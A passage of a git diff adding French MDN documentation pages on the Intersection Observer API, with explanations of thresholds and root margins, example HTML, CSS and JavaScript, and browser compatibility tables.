+ <dd>Soit un nombre, soit un tableau de nombre qui indique à quel pourcentage de la visibilité de la cible la fonction <em>callback</em> de la cible doit être exécuté. Si vous souhaitez seulement détecter quand la visibilité franchit la barre des 50%, vous pouvez entrer la valeur 0.5. Si vous voulez que le <em>callback</em> soit exécuté chaque fois que la visibilité varie de 25% de plus, il faudra spécifier le tableau [0, 0.25, 0.5, 0.75, 1]. La valeur par défaut est 0 (ce qui signifie que dés qu'un seul pixel sera visible, la fonction <em>callback</em> sera exécutée). Une valeur de 1.0 signifie que le palier n'est considéré comme franchi qu'une fois que tous les pixels sont visibles.</dd>
+</dl>
+
+<h4 id="Choisir_un_élément_à_observer">Choisir un élément à observer</h4>
+
+<p>Une fois l'observateur créé, il faut lui donner un élément cible à observer :</p>
+
+<pre class="brush: js">var target = document.querySelector('#listItem');
+observer.observe(target);
+</pre>
+
+<p>Lorsque la cible franchit un palier spécifié indiqué dans l'objet <code>IntersectionObserver</code>, la fonction <em>callback</em> est appelée. Le <em>callback</em> reçoit une liste d'objets {{domxref("IntersectionObserverEntry")}} ainsi que l'observateur :</p>
+
+<pre class="brush: js">var callback = function(entries, observer) {
+  entries.forEach(entry =&gt; {
+    // chaque élément de <em>entries</em> correspond à une variation
+    // d'intersection pour un des éléments cible:
+    //   entry.boundingClientRect
+    //   entry.intersectionRatio
+    //   entry.intersectionRect
+    //   entry.isIntersecting
+    //   entry.rootBounds
+    //   entry.target
+    //   entry.time
+  });
+};
+</pre>
+
+<p>Soyez attentif au fait que la fonction <em>callback</em> est exécutée dans le <em>thread</em> principal. Elle devrait être exécutée aussi rapidement que possible ; si une opération prenant du temps a besoin d'être effectuée, utilisez {{domxref("Window.requestIdleCallback()")}}.</p>
+
+<p>De plus, remarquez que si vous avez spécifié l'option <code>root</code>, la cible doit être un descendant de l'élément <code>root</code>.</p>
+
+<h3 id="Comment_est_calculée_l'intersection">Comment est calculée l'intersection</h3>
+
+<p>Toutes les régions envisagées par l'API <em>Intersection Observer</em> sont des rectangles; les éléments de forme irrégulière sont assimilées au plus petit rectangle qui contient l'élément en question tout entier. De même, si la partie visible d'un élément n'est pas rectangulaire, le rectangle d'intersection de l'élément sera le plus petit rectangle qui contient toute la partie visible de l'élément.</p>
+
+<p>Il est utile de comprendre comment les différentes propriétés fournies par {{domxref("IntersectionObserverEntry")}} décrivent une intersection.</p>
+
+<h4 id="La_racine_de_l'intersection_et_la_marge_de_la_racine">La racine de l'intersection et la marge de la racine</h4>
+
+<p>Avant de pouvoir étudier l'intersection d'un élément avec un conteneur, nous devons savoir quel est ce conteneur. Ce conteneur est <strong>la racine de l'intersection</strong>, ou <strong>élément racine</strong>. Ce peut être soit un élément du document qui est un ancêtre de l'élément à observer, ou <code>null</code> si l'on souhaite utiliser la zone d'affichage (<em>viewport</em>) du document comme conteneur.</p>
+
+<p>Le rectangle utilisé pour délimiter la racine de l'intersection peut être ajusté en ajustant la <strong>marge de la racine</strong>, c'est-à-dire le champ <code>rootMargin</code>, lors de la création de {{domxref("IntersectionObserver")}}. La valeur de <code>rootMargin</code> définit le décalage ajouté à chaque coté du cadre délimitant la racine de l'intersection pour créer le cadre final de la racine de l'intersection (accessible via {{domxref("IntersectionObserverEntry.rootBounds")}} quand la fonction <em>callback</em> est exécutée).</p>
+
+<h4 id="Paliers">Paliers</h4>
+
+<p>Plutôt que de rapporter le moindre changement de variation de la visibilité d'un élément, l'API Intersection Observer utilise des <strong>paliers</strong>. Lors de la création d'un observateur, vous pouvez fournir une ou plusieurs valeurs numériques qui représentent des pourcentages de visibilité de l'élément cible. Dans ce cas, l'API ne rapportent que les changements de visibilité qui franchissent ces paliers.</p>
+
+<p>Par exemple, si vous voulez être informé à chaque fois que la visibilité d'une cible passe au dessus ou en dessous de chaque multiple de 25%, il faudra fournir le tableau [0, 0.25, 0.5, 0.75, 1] comme liste de paliers lors de la création de l'observateur. Vous pouvez préciser dans quelle direction a changé la visibilité (c'est-à-dire, si l'élément est devenu plus ou moins visible) en lisant la valeur de la propriété {{domxref("IntersectionObserverEntry.isIntersecting", "isIntersecting")}} du  {{domxref("IntersectionObserverEntry")}} passé dans la fonction <code>callback</code> lors du changement de visibilité. Si <code>isIntersecting</code> est <code>true</code>, l'élément cible est devenu au moins aussi visible quand le palier a été franchi. Si elle vaut <code>false</code>, la cible n'est plus aussi visible que le palier spécifié.</p>
+
+<p>Pour mieux comprendre comment fonctionnent les paliers, faites défiler la boîte ci-dessous. A l'intérieur, chacune des boîtes colorées affiche son pourcentage de visibilité sur chacun de ses quatre coins, de telle sorte que l'on peut voir ces ratios changer tandis que le conteneur défile. Chaque boîte a un ensemble différent de paliers :</p>
+
+<ul>
+ <li>La première boîte a un palier pour chaque point de pourcentage de visibilité; c'est à dire que le tableau {{domxref("IntersectionObserver.thresholds")}} est <code>[0.00, 0.01, 0.02, ..., 0.99, 1.00]</code>.</li>
+ <li>La deuxième boîte a un unique palier, à 50%.</li>
+ <li>La troisième boîte a des paliers tous les 10% de visibilité (0%, 10%, 20%, etc.).</li>
+ <li>La dernière boîte a des paliers tous les 25%.</li>
+</ul>
+
+<div class="hidden" id="threshold-example">
+<pre class="brush: html">&lt;template id="boxTemplate"&gt;
+  &lt;div class="sampleBox"&gt;
+    &lt;div class="label topLeft"&gt;&lt;/div&gt;
+    &lt;div class="label topRight"&gt;&lt;/div&gt;
+    &lt;div class="label bottomLeft"&gt;&lt;/div&gt;
+    &lt;div class="label bottomRight"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/template&gt;
+
+&lt;main&gt;
+  &lt;div class="contents"&gt;
+    &lt;div class="wrapper"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/main&gt;</pre>
+
+<pre class="brush: css">.contents {
+  position: absolute;
+  width: 700px;
+  height: 1725px;
+}
+
+.wrapper {
+  position: relative;
+  top: 600px;
+}
+
+.sampleBox {
+  position: relative;
+  left: 175px;
+  width: 150px;
+  background-color: rgb(245, 170, 140);
+  border: 2px solid rgb(201, 126, 17);
+  padding: 4px;
+  margin-bottom: 6px;
+}
+
+#box1 {
+  height: 200px;
+}
+
+#box2 {
+  height: 75px;
+}
+
+#box3 {
+  height: 150px;
+}
+
+#box4 {
+  height: 100px;
+}
+
+.label {
+  font: 14px "Open Sans", "Arial", sans-serif;
+  position: absolute;
+  margin: 0;
+  background-color: rgba(255, 255, 255, 0.7);
+  border: 1px solid rgba(0, 0, 0, 0.7);
+  width: 3em;
+  height: 18px;
+  padding: 2px;
+  text-align: center;
+}
+
+.topLeft {
+  left: 2px;
+  top: 2px;
+}
+
+.topRight {
+  right: 2px;
+  top: 2px;
+}
+
+.bottomLeft {
+  bottom: 2px;
+  left: 2px;
+}
+
+.bottomRight {
+  bottom: 2px;
+  right: 2px;
+}
+</pre>
+
+<pre class="brush: js">let observers = [];
+
+startup();
+
+function startup() {
+  let wrapper = document.querySelector(".wrapper");
+
+  // Options for the observers
+
+  let observerOptions = {
+    root: null,
+    rootMargin: "0px",
+    threshold: []
+  };
+
+  // An array of threshold sets for each of the boxes. The
+  // first box's thresholds are set programmatically
+  // since there will be so many of them (for each percentage
+  // point).
+
+  let thresholdSets = [
+    [],
+    [0.5],
+    [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0],
+    [0, 0.25, 0.5, 0.75, 1.0]
+  ];
+
+  for (let i=0; i&lt;=1.0; i+= 0.1) {
+    thresholdSets[0].push(i);
+  }
+
+  // Add each box, creating a new observer for each
+
+  for (let i=0; i&lt;4; i++) {
+    let template = document.querySelector("#boxTemplate").content.cloneNode(true);
+    let boxID = "box" + (i+1);
+    template.querySelector(".sampleBox").id = boxID;
+    wrapper.appendChild(document.importNode(template, true));
+
+    // Set up the observer for this box
+
+    observerOptions.threshold = thresholdSets[i];
+    observers[i] = new IntersectionObserver(intersectionCallback, observerOptions);
+    observers[i].observe(document.querySelector("#" + boxID));
+  }
+
+  // Scroll to the starting position
+
+  //wrapper.scrollIntoView({
+  //  block: "start",
+  //});
+  document.scrollingElement.scrollTop = wrapper.firstChild.getBoundingClientRect().top + window.scrollY;
+  document.scrollingElement.scrollLeft = 750;
+}
+
+function intersectionCallback(entries) {
+  entries.forEach(function(entry) {
+    let box = entry.target;
+    let visiblePct = (Math.floor(entry.intersectionRatio * 100)) + "%";
+
+    box.querySelector(".topLeft").innerHTML = visiblePct;
+    box.querySelector(".topRight").innerHTML = visiblePct;
+    box.querySelector(".bottomLeft").innerHTML = visiblePct;
+    box.querySelector(".bottomRight").innerHTML = visiblePct;
+  });
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("threshold-example", 500, 500)}}</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver")}}</dt>
+ <dd>L'interface principale pour l'API Intersection Observer. Elle fournit des méthodes pour créer et manipuler un observateur qui peut observer n'importe quel nombre d'éléments cibles pour une même configuration d'intersection. Chaque observateur peut observer de manière asynchrone les évolutions de l'intersection entre un ou plusieurs éléments cibles et un élément ancêtre partagé, ou avec le {{Glossary('viewport')}} de leur {{domxref("Document")}} de niveau supérieur. L'ancêtre ou le <em>viewport</em> est désigné par le terme <strong>racine</strong>.</dd>
+ <dt>{{domxref("IntersectionObserverEntry")}}</dt>
+ <dd>Cette interface décrit l'intersection d'un élément cible spécifique avec la racine de l'observateur à un moment donné. Les objets de ce type ne peuvent être obtenus que de deux façons : comme entrée du callback de votre <code>IntersectionObserver</code>, ou en appelant {{domxref("IntersectionObserver.takeRecords()")}}.</dd>
+</dl>
+
+<h2 id="Un_exemple_simple">Un exemple simple</h2>
+
+<p>Cet exemple simple va faire changer la couleur et la transparence d'un élément cible à mesure qu'il devient plus ou moins visible. Sur la page <em><a href="/fr/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a></em>, vous pourrez trouver un exemple plus développé montrant comment chronométrer le temps durant lequel un élément (par exemple, une publicité) a été visible à l'écran, et comment réagir à cette information en enregistrant des statistiques ou en mettant à jour des éléments.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Le code HTML de cet exemple est très court. L'élément principal est la boîte que nous allons cibler (avec l'ingénieuse dénomination <code>"box"</code>) et certains contenus dans la boîte.</p>
+
+<pre class="brush: html">&lt;div id="box"&gt;
+  &lt;div class="vertical"&gt;
+    Bienvenue dans &lt;strong&gt;La Boîte !&lt;/strong&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Le CSS n'est pas extrêmement important dans le cadre de cet exemple ; il met en place l'élément et établit que les attributs {{cssxref("background-color")}} et {{cssxref("border")}} peuvent participer à des <a href="/fr/docs/Web/CSS/CSS_Transitions">transitions CSS</a>. Nous utiliserons ces transitions pour faire évoluer l'élément de telle sorte qu'il devienne plus ou moins obscur.</p>
+
+<pre class="brush: css">#box {
+  background-color: rgba(40, 40, 190, 255);
+  border: 4px solid rgb(20, 20, 120);
+  transition: background-color 1s, border 1s;
+  width: 350px;
+  height: 350px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  padding: 20px;
+}
+
+.vertical {
+  color: white;
+  font: 32px "Arial";
+}
+
+.extra {
+  width: 350px;
+  height: 350px;
+  margin-top: 10px;
+  border: 4px solid rgb(20, 20, 120);
+  text-align: center;
+  padding: 20px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Enfin, jetons un œil au code JavaScript qui utilise l'API <em>Intersection Observer</em>.</p>
+
+<h4 id="Préparation">Préparation</h4>
+
+<p>Premièrement, nous devons préparer des variables et installer l'observateur.</p>
+
+<pre class="brush: js">var numSteps = 20.0;
+
+var boxElement;
+var prevRatio = 0.0;
+var increasingColor = "rgba(40, 40, 190, ratio)";
+var decreasingColor = "rgba(190, 40, 40, ratio)";
+
+// On met l'ensemble en place.
+
+window.addEventListener("load", function(event) {
+  boxElement = document.querySelector("#box");
+
+  createObserver();
+}, false);</pre>
+
+<p>Les constantes et variables que nous préparons sont :</p>
+
+<dl>
+ <dt><code>numSteps</code></dt>
+ <dd>Une constante qui indique combien de paliers nous voulons avoir entre les ratios de visibilité de 0.0 et de 1.0.</dd>
+ <dt><code>prevRatio</code></dt>
+ <dd>Cette variable sera utilisée pour mémoriser quel était le ratio de visibilité la dernière fois qu'un palier a été franchi ; ce qui nous permettra de savoir si l'élément est en train de devenir plus ou moins visible.</dd>
+ <dt><code>increasingColor</code></dt>
+ <dd>Une chaîne de caractères définissant une couleur que nous appliquerons à l'élément cible quand le ratio de visibilité augmente. Le mot "ratio" dans cette chaîne de caractères sera remplacé par la ratio de visibilité de la cible actuelle, de telle sorte que l'élément, en plus de changer de couleur, deviendra de plus en plus opaque à mesure qu'il deviendra obscur.</dd>
+ <dt><code>decreasingColor</code></dt>
+ <dd>De même, il s'agit d'une chaîne de caractères qui définit une couleur que nous appliquerons lorsque le ratio de visibilité diminue.</dd>
+</dl>
+
+<p>On appelle {{domxref("EventTarget.addEventListener", "Window.addEventListener()")}} pour commencer à écouter l'évènement {{event("load")}} ; une fois que la page a finit de charger, on obtient une référence de l'élément avec l'identifiant <code>"box"</code> grâce à {{domxref("Document.querySelector", "querySelector()")}}, puis on appelle la méthode <code>createObserver()</code> que l'on va définir un peu plus tard pour gérer la création et l'installation de l'observateur d'intersection.</p>
+
+<h4 id="Création_de_l'observateur_d'intersection">Création de l'observateur d'intersection</h4>
+
+<p>La méthode <code>createObserver()</code> est appelée une fois que le chargement de la page est terminé afin de gérer la création du nouveau {{domxref("IntersectionObserver")}} et de commencer le processus d'observation de l'élément cible.</p>
+
+<pre class="brush: js">function createObserver() {
+  var observer;
+
+  var options = {
+    root: null,
+    rootMargin: "0px",
+    threshold: buildThresholdList()
+  };
+
+  observer = new IntersectionObserver(handleIntersect, options);
+  observer.observe(boxElement);
+}</pre>
+
+<p>On commence par définir un objet <code>options</code> contenant les paramètres pour l'observateur. On voudra observer les évolutions de la visibilité de l'élément cible relativement au <em>viewport</em>, on initialise donc <code>root</code> avec <code>null</code>. Nous n'avons pas besoin de marge, donc l'espace de marge, <code>rootMargin</code>, est initialisé à <code>"0px"</code>. Ainsi, l'observateur surveillera les variations de l'intersection entre les frontières de l'élément cible et ceux du <em>viewport</em>, sans aucun espace ajouté ou ôté.</p>
+
+<p>La liste de paliers de ratio de visibilité, <code>threshold</code>, est construite par la fonction <code>buildThresholdList()</code>. La liste de paliers est construite mécaniquement dans cet exemple car il y en a un certain nombre, et que ce nombre a vocation à être ajustable.</p>
+
+<p>Une fois que <code>options</code> est prêt, nous pouvons créer le nouvel observateur, en appelant le constructeur {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} , en précisant une fonction <em>callback</em> à appeler quand l'intersection franchit l'un de nos paliers, <code>handleIntersect()</code>, et notre ensemble d'options. On appelle alors {{domxref("IntersectionObserver.observe", "observe()")}} sur l'observateur retourné, afin de le passer à l'élément qui sera notre cible</p>
+
+<p>On pourrait également choisir de surveiller l'évolution de la visibilité de l'intersection de plusieurs éléments par rapport au <em>viewport</em> en appelant <code>observer.observe()</code>pour chacun de ces éléments.</p>
+
+<h4 id="Construction_du_tableau_de_paliers_de_ratios">Construction du tableau de paliers de ratios</h4>
+
+<p>La fonction<code>buildThresholdList()</code>, qui construit la liste de paliers, ressemble à ceci :</p>
+
+<pre class="brush: js">function buildThresholdList() {
+  var thresholds = [];
+
+  for (var i=1.0; i&lt;=numSteps; i++) {
+    var ratio = i/numSteps;
+    thresholds.push(ratio);
+  }
+
+  thresholds.push(0);
+  return thresholds;
+}</pre>
+
+<p>Cela construit la tableau de paliers (chacun de ces paliers étant un ratio compris entre 0.0 et 1.0, ajouté en poussant la valeur<code>i/numSteps</code>dans le tableau <code>thresholds</code> pour chaque entier <code>i</code> entre 1 et <code>numSteps</code>). On pousse également 0 pour inclure cette valeur. Le résultat, dans le cas où<code>numSteps</code>a sa valeur par défaut, est la liste de paliers suivante :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>#</th>
+   <th>Ratio</th>
+   <th>#</th>
+   <th>Ratio</th>
+  </tr>
+  <tr>
+   <th>1</th>
+   <td>0.05</td>
+   <th>11</th>
+   <td>0.55</td>
+  </tr>
+  <tr>
+   <th>2</th>
+   <td>0.1</td>
+   <th>12</th>
+   <td>0.6</td>
+  </tr>
+  <tr>
+   <th>3</th>
+   <td>0.15</td>
+   <th>13</th>
+   <td>0.65</td>
+  </tr>
+  <tr>
+   <th>4</th>
+   <td>0.2</td>
+   <th>14</th>
+   <td>0.7</td>
+  </tr>
+  <tr>
+   <th>5</th>
+   <td>0.25</td>
+   <th>15</th>
+   <td>0.75</td>
+  </tr>
+  <tr>
+   <th>6</th>
+   <td>0.3</td>
+   <th>16</th>
+   <td>0.8</td>
+  </tr>
+  <tr>
+   <th>7</th>
+   <td>0.35</td>
+   <th>17</th>
+   <td>0.85</td>
+  </tr>
+  <tr>
+   <th>8</th>
+   <td>0.4</td>
+   <th>18</th>
+   <td>0.9</td>
+  </tr>
+  <tr>
+   <th>9</th>
+   <td>0.45</td>
+   <th>19</th>
+   <td>0.95</td>
+  </tr>
+  <tr>
+   <th>10</th>
+   <td>0.5</td>
+   <th>20</th>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Bien sur, on pourrait coder en dur le tableau de paliers dans notre code, et c'est souvent ce que vous ferez. Cependant, cet exemple laisse un peu de place pour plus de configuration afin d'ajuster la granularité, par exemple.</p>
+
+<h4 id="Gérer_les_évolutions_de_l'intersection">Gérer les évolutions de l'intersection</h4>
+
+<p>Quand le navigateur détecte que l'élément cible (dans notre cas, celui avec l'identifiant <code>"box"</code>) a été révélé ou caché de tel sorte que son ratio de visibilité franchit l'un des paliers de notre liste, il appelle la fonction <code>handleIntersect()</code>:</p>
+
+<pre class="brush: js">function handleIntersect(entries, observer) {
+  entries.forEach(function(entry) {
+    if (entry.intersectionRatio &gt; prevRatio) {
+      entry.target.style.backgroundColor = increasingColor.replace("ratio", entry.intersectionRatio);
+    } else {
+      entry.target.style.backgroundColor = decreasingColor.replace("ratio", entry.intersectionRatio);
+    }
+
+    prevRatio = entry.intersectionRatio;
+  });
+}</pre>
+
+<p>Pour chaque {{domxref("IntersectionObserverEntry")}} dans la liste <code>entries</code>, on cherche si le {{domxref("IntersectionObserverEntry.intersectionRatio", "intersectionRatio")}} de l'entrée augmente; si c'est le cas, on donne à la propriété CSS {{cssxref("background-color")}} de la cible la valeur <code>increasingColor</code> (pour rappel, c'est la chaîne de caractères <code>"rgba(40, 40, 190, ratio)"</code>), et on remplace le mot "ratio" avec le <code>intersectionRatio</code> de l'entrée. Le résultat : non seulement la couleur change, mais la transparence de l'élément change aussi. Quand le ratio d'intersection diminue, l'alpha de la couleur de fond diminue de même, et l'élément devient plus transparent.</p>
+
+<p>De même, si le <code>intersectionRatio</code> augmente, on utilise la chaîne de caractères <code>decreasingColor</code> et on y remplace le mot "ratio" avec <code>intersectionRatio</code> avant d'assigner le <code>background-color</code> de l'élément cible.</p>
+
+<p>Enfin, afin de surveiller si le ratio d'intersection augmente ou diminue, on garde en mémoire le ratio actuel dans la variable <code>prevRatio</code>.</p>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>Vous pouvez retrouver le résultat ci-dessous. Déroulez cette page vers le haut ou vers le bas et observez comment l'apparence de la boîte change au fur et à mesure.</p>
+
+<p>{{EmbedLiveSample('Un_exemple_simple', 400, 400)}}</p>
+
+<p>Vous pouvez consulter un exemple encore plus détaillé sur l'article <em><a href="/fr/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a></em>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>15</td>
+   <td>{{CompatGeckoDesktop(55)}}<sup>[1][2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(38)}}</td>
+   <td>{{WebKitBug(159475)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Webview Android</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatGeckoMobile(55)}}<sup>[1][2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(38)}}</td>
+   <td>{{WebKitBug(159475)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cette fonctionnalité a été implémentée depuis Gecko 53.0 {{geckoRelease("53.0")}} derrière la préférence <code>dom.IntersectionObserver.enabled</code>, qui vaut <code>false</code> par défaut. Elle est activée par défaut à partir de Firefox 55, cf {{bug(1243846)}}.</p>
+
+<p>[2] Firefox ne prend pas actuellement le {{cssxref("clip-path")}} d'éléments ancêtres en compte quand il évalue la visibilité d'un élément au sein de sa racine. Voir {{bug(1319140)}} pour le statut de ce problème.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://github.com/WICG/IntersectionObserver/tree/gh-pages/polyfill">Une prothèse (<em>polyfill</em>) pour l'API <em>Intersection Observer</em></a></li>
+ <li><em><a href="/fr/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a></em></li>
+ <li>{{domxref("IntersectionObserver")}} et {{domxref("IntersectionObserverEntry")}}</li>
+</ul>
diff --git a/files/fr/web/api/intersectionobserver/index.html b/files/fr/web/api/intersectionobserver/index.html
new file mode 100644
index 0000000000..6561632d3e
--- /dev/null
+++ b/files/fr/web/api/intersectionobserver/index.html
@@ -0,0 +1,89 @@
+---
+title: IntersectionObserver
+slug: Web/API/IntersectionObserver
+tags:
+  - API
+  - Experimental
+  - Interface
+  - IntersectionObserver
+  - Observation
+  - Visibilité
+translation_of: Web/API/IntersectionObserver
+---
+<div>{{SeeCompatTable}}{{APIRef("Intersection Observer API")}}</div>
+
+<p><span class="seoSummary">L'interface <code><strong>IntersectionObserver</strong></code> de l'<a href="/en-US/docs/Web/API/Intersection_Observer_API">API Intersection Observer</a> fournit un moyen d'observer de manière asynchrone les changements d'intersection d'un élément cible avec un élément ancêtre ou avec la fenêtre du document {{Glossary('viewport')}}.</span> L'ancêtre ou la fenêtre du document racine est alors appelé racine.</p>
+
+<p>Lorsqu'un <code>IntersectionObserver</code> est créé, il est configuré pour surveiller des ratios donnés de visibilité au sein de la racine. La configuration ne peut être changé après initialisation de l'<code>IntersectionObserver</code>, ainsi un certain objet d'observation n'est utile que pour surveiller des changements spécifiques en mesure de visibilité ; toutefois, l'on peut observer de multiples éléments avec un unique observateur.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.IntersectionObserver()")}}</dt>
+ <dd>Crée un nouvel objet <code>IntersectionObserver</code> qui exécutera une fonction de rappel spécifiée lorsqu'il détectera que la visibilité de l'élément cible a franchi un ou plusieurs des seuils.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.root")}} {{readonlyinline}}</dt>
+ <dd>Un ancêtre spécifique de la cible {{domxref("element")}} étant observé. Si aucune valeur n'a été donnée au constructeur ou qu'il vaut <code>null</code>, la fenêtre du document racine est utilisée.</dd>
+ <dt>{{domxref("IntersectionObserver.rootMargin")}} {{readonlyinline}}</dt>
+ <dd>
+ <div id="gt-res-content">
+ <div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="fr"><span>Un rectangle de décalage appliqué au {{Glossary ('bounding box')}} de la racine lors du calcul des intersections, réduisant ou développant la racine à des fins de calcul.</span> <span>La valeur renvoyée par cette propriété peut différer de celle spécifiée lors de l'appel du constructeur, car elle peut être modifiée pour répondre aux exigences internes.</span> <span>Chaque décalage peut être exprimé en pixels (px) ou en pourcentage (%).</span> <span>La valeur par défaut est "0px 0px 0px 0px".</span></span></div>
+ </div>
+ </dd>
+ <dt>{{domxref("IntersectionObserver.thresholds")}} {{readonlyinline}}</dt>
+ <dd>Une liste de seuils, triée par ordre numérique croissant, où chaque seuil est un rapport de la surface d'intersection à la surface de la zone de délimitation de l'élément observé. Les notifications pour une cible sont émises dès lors qu'un seuil au moins est franchi pour cette cible. Si aucune valeur n'est donnée, 0 est définie par défaut.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.disconnect()")}}</dt>
+ <dd>Indique à l'objet <code>IntersectionObserver</code> de ne plus observer aucune cible.</dd>
+ <dt>{{domxref("IntersectionObserver.observe()")}}</dt>
+ <dd>Indique à l'<code>IntersectionObserver</code> un nouvel élément à observer.</dd>
+ <dt>{{domxref("IntersectionObserver.takeRecords()")}}</dt>
+ <dd>Retourne un tableau d'objets {{domxref("IntersectionObserverEntry")}} pour toutes les cibles observées et cesse de surveiller chacune d'elles.</dd>
+ <dt>{{domxref("IntersectionObserver.unobserve()")}}</dt>
+ <dd>Indique à l'<code>IntersectionObserver</code> de cesser d'observer un élément cible particuler.</dd>
+ <dt>
+ <h2 id="Exemples">Exemples</h2>
+ </dt>
+</dl>
+
+<pre class="brush: js">var intersectionObserver = new IntersectionObserver(function (entrées) {
+  // Si ratioIntersection vaut 0 ou moins, la cible
+  // est hors de vue et rien n'est alors fait
+  if (entrées[0].intersectionRatio &lt;= 0) return;
+
+  chargerÉléments(10);
+  console.log("Nouveaux éléments chargés");
+});
+// commencement de l'observation
+intersectionObserver.observe(document.querySelector("sélecteur CSS"));</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver")}}</p>
diff --git a/files/fr/web/api/intersectionobserver/intersectionobserver/index.html b/files/fr/web/api/intersectionobserver/intersectionobserver/index.html
new file mode 100644
index 0000000000..f9cd0084ab
--- /dev/null
+++ b/files/fr/web/api/intersectionobserver/intersectionobserver/index.html
@@ -0,0 +1,81 @@
+---
+title: IntersectionObserver.IntersectionObserver()
+slug: Web/API/IntersectionObserver/IntersectionObserver
+tags:
+  - API
+  - Constructeur
+  - Constructor
+  - Intersection Observer
+  - IntersectionObserver
+  - IntersectionObserver API
+  - Reference
+translation_of: Web/API/IntersectionObserver/IntersectionObserver
+---
+<div>{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">Le constructeur <strong><code>IntersectionObserver()</code></strong> crée et retourne un nouvel objet {{domxref("IntersectionObserver")}}.</span> Le <code>rootMargin</code> (marges de la racine), si spécifié, est vérifié pour s'assurer qu'il est syntaxiquement correct, les seuils d'intersection aussi pour vérifier qu'ils sont tous sur l'intervalle entre 0.0 et 1.0 inclus, et en fin que la liste des seuils d'intersection est triée par ordre croissant. Si la liste des seuils est vide, sa valeur par défaut est [0.0].</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">let <em>observer</em> = new IntersectionObserver(<em>fonctionRappel[, </em><em>options</em>]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>fonctionRappel</code></dt>
+ <dd>Une fonction appelée lorsque la proportion de l'élément visible franchit un seuil. La fonciton de rappel reçoit en entrée deux paramètres:
+ <dl>
+  <dt><code>entrées</code></dt>
+  <dd>une liste d'objets {{domxref("IntersectionObserverEntry")}}, chacun représentant un seuil qui a été franchi, que ce soit en passant au-dessus ou en-dessous du pourcentage spécifié par le seuil.</dd>
+  <dt><code>observateur</code></dt>
+  <dd>L'{{domxref("IntersectionObserver")}} pour lequel la fonction de rappel est invoquée.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
